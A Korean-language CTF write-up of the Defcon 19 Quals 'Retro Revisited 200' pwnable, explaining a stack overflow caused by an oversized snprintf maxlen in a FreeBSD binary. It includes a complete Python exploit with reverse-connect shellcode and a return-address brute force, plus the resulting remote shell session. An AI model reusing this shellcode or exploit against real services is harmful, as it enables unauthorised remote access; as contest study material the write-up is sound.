CTF

Defcon 19th CTF Quals - Retro Revisted 200

pwn3r_45 2011. 9. 25. 12:20

Category : Pwnables

* file

Summary : simple remote buffer overflow 

 
Binary Info.

[pwn3r@localhost rr200]$ file rr200
rr200: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped

main함수에서는 daemonize를 시킨뒤 접속하는 client에게 client_callback함수를 실행시켜준다.(함수명은 임의로 지칭한것이다.)
우선 서버에 접속해본다.

[pwn3r@localhost rr200]$ nc 192.168.123.134 9999
Hans Brix? Oh no! Oh, herro. Great to see you again, Hans! pwn3r
Hans Brix says: "pwn3r
"

문자열을 client에게 전송하고 client로부터 문자열을 전송받아 , 받은 문자열을 전송해주고 연결이 종료된다.

.text:080489B4 ; int __cdecl client_callback(int fd)
.text:080489B4 client_callback proc near               ; DATA XREF: main+28o
.text:080489B4
.text:080489B4 buf             = byte ptr -208h
.text:080489B4 s               = byte ptr -108h
.text:080489B4 fd              = dword ptr  8
.text:080489B4
.text:080489B4                 push    ebp
.text:080489B5                 mov     ebp, esp
.text:080489B7                 push    esi
.text:080489B8                 push    ebx
.text:080489B9                 sub     esp, 0x204
.text:080489BF                 mov     esi, [ebp+fd]
.text:080489C2                 push    0               ; __int16
.text:080489C4                 push    offset aHansBrix?OhNoO ; "Hans Brix? Oh no! Oh, herro. Great to s"...
.text:080489C9                 push    esi             ; fd
.text:080489CA                 call    sock_send
.text:080489CF                 add     esp, 0x10
.text:080489D2                 mov     edx, 0x0FFFFFFFF
.text:080489D7                 cmp     eax, 0x0FFFFFFFF
.text:080489DA                 jz      short loc_8048A18
.text:080489DC                 push    0x0               ; flags
.text:080489DE                 push    0x100            ; n
.text:080489E3                 lea     ebx, [ebp+buf]
.text:080489E9                 push    ebx             ; buf
.text:080489EA                 push    esi             ; fd
.text:080489EB                 call    _recv
.text:080489F0                 push    ebx
.text:080489F1                 push    offset format   ; "Hans Brix says: \"%s\"\n"
.text:080489F6                 push    0x12C            ; maxlen
.text:080489FB                 lea     ebx, [ebp+s]
.text:08048A01                 push    ebx             ; s
.text:08048A02                 call    _snprintf

.text:08048A07                 add     esp, 0x1C
.text:08048A0A                 push    0               ; __int16
.text:08048A0C                 push    ebx             ; int
.text:08048A0D                 push    esi             ; fd
.text:08048A0E                 call    sock_send
.text:08048A13                 mov     edx, 0
.text:08048A18
.text:08048A18 loc_8048A18:                            ; CODE XREF: client_callback+26j
.text:08048A18                 mov     eax, edx
.text:08048A1A                 lea     esp, [ebp-8]
.text:08048A1D                 pop     ebx
.text:08048A1E                 pop     esi
.text:08048A1F                 leave
.text:08048A20                 retn

client_callback함수에선 문자열하나를 보내준후 0x100byte의 변수(buf)에 사이즈만큼 recv한다.
그 다음 0x108바이트의 변수(s)에 "Hans Brix says: \"%s\"" 와 buf에있는 데이터를 인자로 snprintf를 수행하는데 , 이때 maxlen이 s의 사이즈보다큰 0x12C이기때문에 buffer overflow취약점이 발생한다.

buf에 저장될 수 있는 데이터는 최대 0x100이지만 앞에 "Hans Brix says: \""(17byte)가 있기때문에 17byte만큼 뒤에있는 데이터를 덮을 수 있다. 따라서 stack에 저장되어있는 return address도 조작할 수 있게된다.

환경은 freebsd이고 socket을 이용한 통신을 하기때문에 reverse connection shellcode를 이용한다.

exploit.py

#!/usr/bin/python

from socket import *

def pack(data):
 res = ""
 for i in range(0,4):
  res = res + chr(data % 0x100)
  data = data / 0x100
 return res

HOST = "192.168.123.134"
PORT = 9999
SHELLCODE = \
"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" + \
"\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" + \
"\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" + \
"\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \
"\x50\x54\x53\x50\xb0\x3b\xcd\x80"

for ret in range(0xbfbfffff , 0xbfbf0000 , -50):
 ret = pack(ret)
 if not "\x00" in ret:
  payload = ""
  payload += "\x90"*100
  payload += SHELLCODE
  payload += "\x90"*(0x10c-17-len(payload))
  payload += ret
  s = socket(AF_INET , SOCK_STREAM)
  s.connect((HOST , PORT))
  s.recv(1024)
  s.send(payload)
  s.recv(1024)
  s.close()



[pwn3r@localhost rr200]$ ./exploit.py & nc -lv 4444
[1] 1434
Connection from 192.168.123.134 port 4444 [tcp/krb524] accepted
id
uid=1002(kimjong) gid=1002(kimjong) groups=1002(kimjong)
ls -l
total 12
-rwxr-xr-x  1 kimjong  kimjong  5512 Sep 14 05:35 rr200

pwned :)